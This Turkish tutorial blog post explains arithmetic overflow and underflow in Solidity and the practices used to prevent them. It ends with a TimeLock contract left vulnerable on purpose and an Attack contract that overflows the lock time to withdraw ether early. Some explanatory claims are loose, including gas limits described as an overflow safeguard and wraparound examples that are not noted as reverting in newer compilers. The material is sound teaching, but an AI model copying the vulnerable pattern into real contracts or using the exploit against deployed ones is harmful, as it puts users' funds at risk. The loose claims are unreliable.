1. Anasayfa
  2. 100 Günde Solidity

🧵 #100DaysOfSolidity 068 – Hacks : Aritmetik Taşma ve Taşma Altı Hataları

🧵 #100DaysOfSolidity 068 – Hacks : Aritmetik Taşma ve Taşma Altı Hataları
Aritmetik Taşma ve Taşma Altı Hataları
0

Aritmetik Taşma ve Taşma Altı Hataları

Solidity, Ethereum blockchaini üzerinde akıllı sözleşmeler oluşturmak için kullanılan bir programlama dilidir. Bu sözleşmeler, para transferleri, varlık yönetimi, oy verme işlemleri ve diğer birçok işlevi yerine getirebilirler. Ancak, Solidity’de bazı önemli güvenlik riskleri bulunmaktadır ve bunlardan biri de aritmetik taşma ve taşma altı hatalarıdır.

Aritmetik taşma ve taşma altı hataları, matematiksel işlemler sırasında ortaya çıkan hatalardır ve bu hatalar, Solidity’de yazılan akıllı sözleşmelerde önemli güvenlik açıklarına neden olabilir. Bu nedenle, Solidity programlama dilinde bu hataların nasıl önlenmesi gerektiğini öğrenmek, Ethereum blockchaini üzerinde güvenli ve sağlam akıllı sözleşmeler oluşturmak için hayati öneme sahiptir.

Bu makalede, aritmetik taşma ve taşma altı hatalarının ne olduğunu, neden oluştuğunu, Solidity’de bu hataların nasıl önlenmesi gerektiğini ve bu hataların önlenmesinde dikkat edilmesi gereken en iyi uygulamaları ele alacağız. Ayrıca, aritmetik hataların Ethereum blockchaini üzerindeki güvenlik riskleri hakkında da konuşacağız.

Aritmetik Taşma Nedir?

Aritmetik taşma, bir sayısal değerin, onun taşıyabileceği en yüksek değerden daha büyük bir değerle temsil edilmeye çalışıldığı durumlarda ortaya çıkan bir hata türüdür. Bu durumda, sayısal değer bir işlem sonucu veya atama yoluyla artar ve taşıyabileceği en yüksek değeri aşar. Bu aşma, taşma olarak adlandırılır.

Örneğin, uint8 veri türü ile temsil edilen bir sayı 255’e kadar değer alabilir. Eğer bir işlem sonucunda 256 elde edilirse, uint8 veri türünün sınırları aşılmış olur ve sonuç, 0 olarak gösterilir. Bu, aritmetik taşma hatası olarak adlandırılır.

Aritmetik taşma hatası, Solidity’de önemli bir güvenlik riski oluşturur. Eğer bir akıllı sözleşme, aritmetik taşma hatasına izin verirse, bir saldırgan, sözleşmenin beklenmeyen şekilde davranmasına neden olabilir. Bu nedenle, Solidity programlama dilinde aritmetik taşma hatalarının önlenmesi büyük önem taşır.

Aritmetik Taşma Nasıl Oluşur?

Aritmetik taşma, bir sayısal değerin, onun taşıyabileceği en yüksek değerden daha büyük bir değerle temsil edilmeye çalışıldığı durumlarda oluşur. Bu durumda, sayısal değer bir işlem sonucu veya atama yoluyla artar ve taşıyabileceği en yüksek değeri aşar.

Örneğin, 8-bit bir unsigned integer (uint8) veri türü ile temsil edilen bir sayı 255’e kadar değer alabilir. Eğer bir işlem sonucunda 256 elde edilirse, uint8 veri türünün sınırları aşılmış olur ve sonuç, 0 olarak gösterilir. Bu, aritmetik taşma hatası olarak adlandırılır.

Aritmetik taşma, genellikle matematiksel işlemlerde, özellikle toplama ve çıkarma işlemlerinde oluşur. Örneğin, iki sayı toplandığında, sonuç, toplanan sayıların toplamından daha büyük olabilir. Benzer şekilde, bir sayı diğer bir sayıdan çıkartıldığında, sonuç, çıkartılan sayıdan daha küçük olabilir. Bu durumlar, taşmaya neden olabilir.

Aritmetik taşma, Solidity’de önemli bir güvenlik riski oluşturur ve akıllı sözleşmelerde bu hataların önlenmesi büyük önem taşır.

Aritmetik Taşma Altı Hatası Nedir?

Aritmetik taşma altı hatası, bir sayısal değerin taşıyabileceği en düşük değeri aşmaya çalışıldığı durumlarda ortaya çıkan bir hata türüdür. Bu durumda, sayısal değer bir işlem sonucu veya atama yoluyla azalır ve taşıyabileceği en düşük değeri aşar. Bu altı aşma, aritmetik taşma altı hatası olarak adlandırılır.

Örneğin, int8 veri türü ile temsil edilen bir sayı -128’e kadar değer alabilir. Eğer bir işlem sonucunda -129 elde edilirse, int8 veri türünün sınırları aşılmış olur ve sonuç, 127 olarak gösterilir. Bu, aritmetik taşma altı hatası olarak adlandırılır.

Aritmetik taşma altı hatası, Solidity’de de önemli bir güvenlik riski oluşturur. Eğer bir akıllı sözleşme, aritmetik taşma altı hatasına izin verirse, bir saldırgan, sözleşmenin beklenmeyen şekilde davranmasına neden olabilir. Bu nedenle, Solidity programlama dilinde aritmetik taşma altı hatalarının önlenmesi büyük önem taşır.

Aritmetik Taşma ve Taşma Altı Hatası Örnekleri

Aritmetik taşma ve taşma altı hataları, birçok farklı senaryoda oluşabilirler. İşte birkaç örnek:

Örnek 1: 8-bit unsigned integer (uint8) veri türü ile temsil edilen bir sayı, 255’e kadar değer alabilir. Eğer 1 sayısı bu değere eklenirse, aritmetik taşma oluşur ve sonuç 0 olur.

uint8 a = 255;
uint8 b = 1;
uint8 c = a + b; // c = 0

Örnek 2: 8-bit unsigned integer (uint8) veri türü ile temsil edilen bir sayı, 0’dan 255’e kadar değer alabilir. Eğer 1 sayısı 0’dan çıkartılırsa, aritmetik taşma altı oluşur ve sonuç 255 olur.

uint8 a = 0;
uint8 b = 1;
uint8 c = a - b; // c = 255

Örnek 3: 16-bit unsigned integer (uint16) veri türü ile temsil edilen bir sayı, 65535’e kadar değer alabilir. Eğer 1 sayısı bu değere eklenirse, aritmetik taşma oluşur ve sonuç 0 olur.

uint16 a = 65535;
uint16 b = 1;
uint16 c = a + b; // c = 0

Örnek 4: 16-bit signed integer (int16) veri türü ile temsil edilen bir sayı, -32768’den 32767’ye kadar değer alabilir. Eğer -1 sayısı bu değere eklenirse, aritmetik taşma altı oluşur ve sonuç 32767 olur.

int16 a = -32768;
int16 b = -1;
int16 c = a + b; // c = 32767

Bu örneklerde görüldüğü gibi, aritmetik taşma ve taşma altı hataları, sayısal değerlerin sınırlarının aşılması veya altına düşürülmesi sonucu ortaya çıkarlar. Bu hatalar, akıllı sözleşmelerde istenmeyen davranışlara neden olabilirler, bu nedenle Solidity programlama dilinde bu hataların önlenmesi önemlidir.

Solidity’de Aritmetik Hatalar Nasıl Önlenir?

Solidity programlama dilinde, aritmetik hataların önlenmesi için birkaç yöntem vardır. İşte bazı öneriler:

  1. SafeMath kütüphanesi kullanımı: SafeMath, Solidity’de yaygın olarak kullanılan bir kütüphanedir ve temel aritmetik işlemlerini güvenli hale getirmek için kullanılır. Bu kütüphane, aritmetik işlemleri gerçekleştirmeden önce taşma veya taşma altı durumlarını kontrol eder. Eğer bu durumlar oluşursa, işlem durdurulur ve hata mesajı gönderilir. SafeMath kütüphanesi, aritmetik hataların önlenmesi için etkili bir yöntemdir.
  2. Veri türleri kullanımı: Doğru veri türlerinin kullanılması da aritmetik hataların önlenmesine yardımcı olur. Örneğin, eğer taşma veya taşma altı oluşması muhtemel bir işlem için uint8 veri türü kullanılırsa, bu hata kaçınılmaz olabilir. Bu nedenle, işlemin büyüklüğüne bağlı olarak uygun veri türlerinin kullanılması önemlidir.
  3. İşlemleri bölerek gerçekleştirme: Bazı durumlarda, bir işlemi birden fazla adımda gerçekleştirmek, aritmetik hataların önlenmesine yardımcı olabilir. Örneğin, bir işlemde çok büyük sayılar kullanılıyorsa, bu sayıları önce daha küçük sayılarla bölerek işlemi gerçekleştirmek daha güvenli olabilir.
  4. Hata kontrolü: İşlemleri gerçekleştirmeden önce, verilerin doğru olduğundan ve taşma veya taşma altı durumlarının önlenmesi için uygun önlemlerin alındığından emin olmak için hata kontrolü yapmak önemlidir. Bu, akıllı sözleşmelerin beklenmedik şekilde davranmasını önlemek için önemlidir.

Aritmetik hataların önlenmesi, Solidity programlama dilinde önemli bir konudur. Yukarıda bahsedilen yöntemlerin kullanımı, akıllı sözleşmelerin güvenliğini artırmaya yardımcı olabilir ve aritmetik hataların ortaya çıkmasını önleyebilir.

Aritmetik Hataların Neden Olduğu Güvenlik Riskleri

Aritmetik hatalar, Solidity akıllı sözleşmelerinde güvenlik riskleri oluşturabilir. Bu hatalar, saldırganların sözleşmelerde beklenmedik şekilde davranmasına ve potansiyel olarak sözleşmelerden fayda sağlamasına neden olabilir. İşte aritmetik hataların neden olduğu güvenlik risklerine örnekler:

  1. Fon kaybı: Taşma veya taşma altı durumlarında, fonların yanlış hesaplanması söz konusu olabilir. Bu, saldırganların fonları sözleşmelerden çalmasına neden olabilir.
  2. Hizmet reddi: Aritmetik hatalar, sözleşmelerin beklenmedik şekilde davranmasına neden olabilir. Bu da sözleşmenin çalışmasını engelleyebilir ve hizmet reddine neden olabilir.
  3. Özel bilgilerin sızdırılması: Sözleşmelerdeki aritmetik hatalar, saldırganların özel bilgileri elde etmesine neden olabilir. Bu, sözleşmelerin kullanıcıların özel bilgilerini koruyamamasına neden olabilir.
  4. Akıllı sözleşmenin düzgün çalışmaması: Aritmetik hatalar, akıllı sözleşmelerin beklenmedik şekilde çalışmasına neden olabilir. Bu, sözleşmenin işlevselliğini etkileyebilir ve kullanıcıların fonlarını veya varlıklarını koruyamamasına neden olabilir.

Bu nedenlerden dolayı, Solidity akıllı sözleşmelerinde aritmetik hataların önlenmesi çok önemlidir. Akıllı sözleşmelerin güvenliği, bu hataların önlenmesine bağlıdır.

Aritmetik Hataların Önlenmesinde En İyi Uygulamalar

Aritmetik hataların Solidity akıllı sözleşmelerinde önlenmesi için aşağıdaki en iyi uygulamalar önerilir:

  1. SafeMath kullanın: Solidity’deki SafeMath kütüphanesi, taşmaları ve taşma altı hatalarını önlemek için matematiksel işlemleri güvenli bir şekilde gerçekleştiren bir kütüphanedir. Bu kütüphaneyi kullanmak, aritmetik hataların önlenmesinde çok faydalıdır.
  2. Veri türlerini doğru kullanın: Solidity’de kullanılan veri türleri, doğru bir şekilde belirtilmelidir. Bu, verilerin doğru bir şekilde işlenmesini ve hataların önlenmesini sağlar. Örneğin, uint256 veri türü, 256 bitlik pozitif tam sayıları ifade eder.
  3. İşlemleri sınırlandırın: İşlemleri belirli bir aralıkta sınırlandırmak, taşma veya taşma altı hatalarını önlemeye yardımcı olabilir. Örneğin, bir değişkenin değeri, belirli bir aralıkta sınırlandırılabilir.
  4. Dikkatli kodlama: Aritmetik hataların önlenmesinde en önemli uygulama, kodlama işleminin doğru bir şekilde yapılmasıdır. Bu, dikkatli kodlama yapmak, hataları önlemek için en iyi yoldur. Özellikle, sınırların, veri türlerinin ve işlemlerin doğru bir şekilde belirlenmesi önemlidir.
  5. Sözleşmeleri güncelleyin: Solidity’de yeni güncellemelerle birlikte, SafeMath kütüphanesi ve diğer güvenlik önlemleri daha iyi hale getirilmiştir. Bu nedenle, sözleşmelerin güncel tutulması ve en son güvenlik önlemlerinin kullanılması, aritmetik hataların önlenmesinde yardımcı olabilir.

Bu en iyi uygulamalar, Solidity akıllı sözleşmelerinde aritmetik hataların önlenmesinde önemli bir rol oynar. Ancak, bu uygulamaların yanı sıra, kodların dikkatli bir şekilde test edilmesi ve doğrulanması da önemlidir.

Aritmetik Hataları Gidermek İçin Solidity’de Kullanılan Araçlar

Solidity’de aritmetik hataları gidermek için aşağıdaki araçlar kullanılır:

  1. SafeMath kütüphanesi: Solidity’deki en yaygın aritmetik kütüphanesi SafeMath’tir. Bu kütüphane, matematiksel işlemleri güvenli bir şekilde gerçekleştiren bir kütüphanedir ve taşma ve taşma altı hatalarını önlemek için kullanılır.
  2. Assert ve Require fonksiyonları: Bu fonksiyonlar, kodun belirli koşulları karşılaması gerektiğinde kullanılır. Require fonksiyonu, belirli bir koşulu sağlamayan bir işlemi durdurur ve geri döndürürken, Assert fonksiyonu, belirli bir koşulu sağlamayan bir işlemi durdurur ve istisna fırlatır.
  3. Overflow araçları: Bazı Solidity geliştiricileri, aritmetik hataları önlemek için özel araçlar geliştirmişlerdir. Bu araçlar, taşma ve taşma altı hatalarını önlemeye yardımcı olmak için özel olarak tasarlanmıştır.
  4. Gas sınırı: Solidity’de, her işlem için gas limiti belirlenebilir. Bu sınır, işlemin işlenmesi için harcanacak maksimum gas miktarını belirler. Gas sınırı, aritmetik hataların önlenmesinde yardımcı olabilir.

Bu araçlar, Solidity’de aritmetik hataları gidermek için kullanılabilir. Ancak, kodlama işlemi sırasında dikkatli ve özenli olmak, hataları önlemek için en önemli faktördür.

Aritmetik Hataların Tespit Edilmesi ve Giderilmesi İçin En İyi Yöntemler

Aritmetik hataların tespit edilmesi ve giderilmesi için en iyi yöntemler şunlardır:

  1. Kod incelemesi: Kod incelemesi, bir kod parçasının ayrıntılı bir incelemesidir ve olası hataları tespit etmek için kullanılır. Aritmetik hataların tespit edilmesinde, kod incelemesi önemli bir rol oynar. Kod incelemesi sırasında, hataları önlemek için en iyi uygulamaların kullanılıp kullanılmadığı kontrol edilmelidir.
  2. Test etme: Kod testleri, bir kod parçasının doğru çalıştığından emin olmak için kullanılır. Aritmetik hataları tespit etmek için, testlerin taşma ve taşma altı hatalarını tespit etmesi gereklidir. Testler sırasında, farklı işlem değerleri kullanarak, hataların tespit edilip edilmediği kontrol edilir.
  3. Kullanıcı geri bildirimi: Kullanıcıların geri bildirimleri, uygulamaların hatalarını tespit etmek için önemlidir. Kullanıcıların uygulamada taşma veya taşma altı hataları yaşadıklarını bildirmeleri durumunda, geliştiriciler hızlı bir şekilde bu hataları gidermek için çalışabilirler.
  4. Güncellemeleri takip etmek: Solidity ve diğer blok zinciri teknolojileri sürekli olarak güncelleniyor. Bu güncellemeler, aritmetik hataların giderilmesine yardımcı olabilir. Solidity ve diğer blok zinciri teknolojilerindeki güncellemeleri takip etmek ve uygulamaların güncel sürümlerini kullanmak, aritmetik hataların tespit edilmesi ve giderilmesinde önemlidir.

Bu yöntemler, aritmetik hataların tespit edilmesi ve giderilmesinde kullanılabilir. Ancak, en iyi uygulamaların kullanılması ve özenli kodlama, aritmetik hataların önlenmesinde en önemli faktördür.

Aritmetik Hataların Önlenmesinde Dikkat Edilmesi Gerekenler

Aritmetik hataların önlenmesinde dikkat edilmesi gerekenler şunlardır:

  1. Değer aralıklarının kontrolü: Değerlerin taşma veya taşma altı hatalarına yol açmaması için, değer aralıklarının doğru bir şekilde kontrol edilmesi gereklidir. Değer aralıklarının kontrol edilmesi, bir işlem yapılmadan önce yapılmalıdır.
  2. Veri türleri: Solidity’de, veri türleri işlem yapmak için kullanılır. Doğru veri türleri kullanılmadığında, aritmetik hatalar meydana gelebilir. Bu nedenle, doğru veri türleri seçilmeli ve kullanılmalıdır.
  3. Önemli işlemlerin ayrıştırılması: Önemli işlemler, birden fazla aritmetik işlemini içerebilir. Bu tür işlemler, doğru bir şekilde ayrıştırılmalıdır. Önemli işlemlerin doğru bir şekilde ayrıştırılması, aritmetik hataların önlenmesinde önemlidir.
  4. Doğru mantıksal operatörlerin kullanımı: Solidity’de, mantıksal operatörler de aritmetik işlemlerle birlikte kullanılır. Doğru mantıksal operatörlerin kullanımı, aritmetik hataların önlenmesinde önemlidir.
  5. Test etme: Kod testleri, aritmetik hataların tespit edilmesi ve önlenmesinde önemlidir. Doğru testlerin yapılması ve taşma ve taşma altı hatalarının test edilmesi gereklidir.
  6. Kodlama standartlarına uygun kodlama: Aritmetik hataların önlenmesinde, kodlama standartlarına uygun kodlama önemlidir. Kodlama standartlarına uygun kodlama, aritmetik hataların önlenmesinde önemli bir faktördür.

Bu faktörlere dikkat edilmesi, aritmetik hataların önlenmesinde yardımcı olabilir. Ayrıca, aritmetik hataların önlenmesinde en önemli faktörlerden biri, özenli ve iyi planlanmış bir kodlama sürecidir.

Akıllı Sözleşme Örneği İnceleme

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

// This contract is designed to act as a time vault.
// User can deposit into this contract but cannot withdraw for atleast a week.
// User can also extend the wait time beyond the 1 week waiting period.

/*
1. Deploy TimeLock
2. Deploy Attack with address of TimeLock
3. Call Attack.attack sending 1 ether. You will immediately be able to
   withdraw your ether.

What happened?
Attack caused the TimeLock.lockTime to overflow and was able to withdraw
before the 1 week waiting period.
*/

contract TimeLock {
    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0, "Insufficient funds");
        require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    TimeLock timeLock;

    constructor(TimeLock _timeLock) {
        timeLock = TimeLock(_timeLock);
    }

    fallback() external payable {}

    function attack() public payable {
        timeLock.deposit{value: msg.value}();
        /*
        if t = current lock time then we need to find x such that
        x + t = 2**256 = 0
        so x = -t
        2**256 = type(uint).max + 1
        so x = type(uint).max + 1 - t
        */
        timeLock.increaseLockTime(
            type(uint).max + 1 - timeLock.lockTime(address(this))
        );
        timeLock.withdraw();
    }
}

Bu akıllı sözleşme, kullanıcılara bir hafta boyunca çekilemeyen bir hesap türü sunar. Kullanıcılar bu hesaba ether yatırabilirler, ancak hesaplarını bir hafta boyunca dondurmak zorundadırlar. Kullanıcılar ayrıca bekleme süresini bir hafta boyunca uzatabilirler.

Ancak, bu sözleşmenin bir güvenlik açığı vardır ve kötü niyetli kullanıcılar, fonlarını bir haftadan önce geri çekebilirler. Sözleşmede taşma hatası vardır ve kötü niyetli bir kullanıcı, increaseLockTime fonksiyonu ile zaman kilidini taşır ve fonlarını geri çeker.

Saldırgan, Attack sözleşmesi aracılığıyla, TimeLock sözleşmesine bir ether yatırır. Daha sonra, saldırgan, taşma hatasını kullanarak, increaseLockTime fonksiyonu ile zaman kilidini aşar ve fonlarını geri çeker.

Bu örnekte, taşma hatası nedeniyle güvenlik açığına neden olur. Bu tür hataların önlenebilmesi için, Solidity geliştiricilerinin, taşma hatası önleme teknikleri hakkında bilgi sahibi olmaları ve güvenlik açıklarını önlemek için en iyi uygulamaları takip etmeleri gerekir.

Sonuç Bağlamı

Aritmetik taşma ve taşma altı hataları, Solidity gibi programlama dillerinde önemli güvenlik riskleri oluşturabilir. Bu nedenle, bu tür hataların önlenmesi ve giderilmesi için iyi uygulamalar ve araçlar kullanılmalıdır. Solidity’de, SafeMath gibi kütüphaneler veya ayrıntılı testler yaparak aritmetik hataların önlenmesi ve giderilmesi mümkündür.

Yukarıdaki örnekte görüldüğü gibi, aritmetik hataların olası sonuçlarına karşı dikkatli olunmalıdır. İyi tasarlanmamış bir akıllı sözleşme, aritmetik hatalardan etkilenebilir ve kullanıcıların fonlarını riske atabilir. Bu nedenle, Solidity’de akıllı sözleşme yazarken aritmetik hataları önlemek için dikkatli olmak ve en iyi uygulamaları takip etmek son derece önemlidir.

Solidity Programlama Dili Öğrenme yolculuğunuz hakkında daha iyi rehberlik almak için Solidity nedir? Ethereum Akıllı Sözleşmelerinin Dili Rehberi içeriğimize göz atın. Dilerseniz Yeni Başlayanlar için Solidity – Akıllı Sözleşme Geliştirme Hızlandırılmış Kursuna katılın.

Çalışmaya nereden başlayacağım diyenler için Blockchain ​​Developer Olmak İçin Yol Haritası içeriğine de muhakkak bakın.

Gelin aklınızdaki soruları SUPERPEER sohbetinde cevaplayalım.

Bu makaleyi okuduğunuz için teşekkürler! Bana destek olmak isterseniz;

Beni TwitterLinkedin ve YouTube‘da takip edin.

Kısa bir yorum bırakmayı UNUTMAYIN!

solidity101 - Solidity, 2015 yılında Christian Reitwiessner liderliğinde piyasaya sürülen, büyük harf kullanımına göre ikinci en büyük kripto para piyasası olan Ethereum tarafından oluşturulan yepyeni bir programlama dilidir.

Yazarın Profili
İlginizi Çekebilir

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir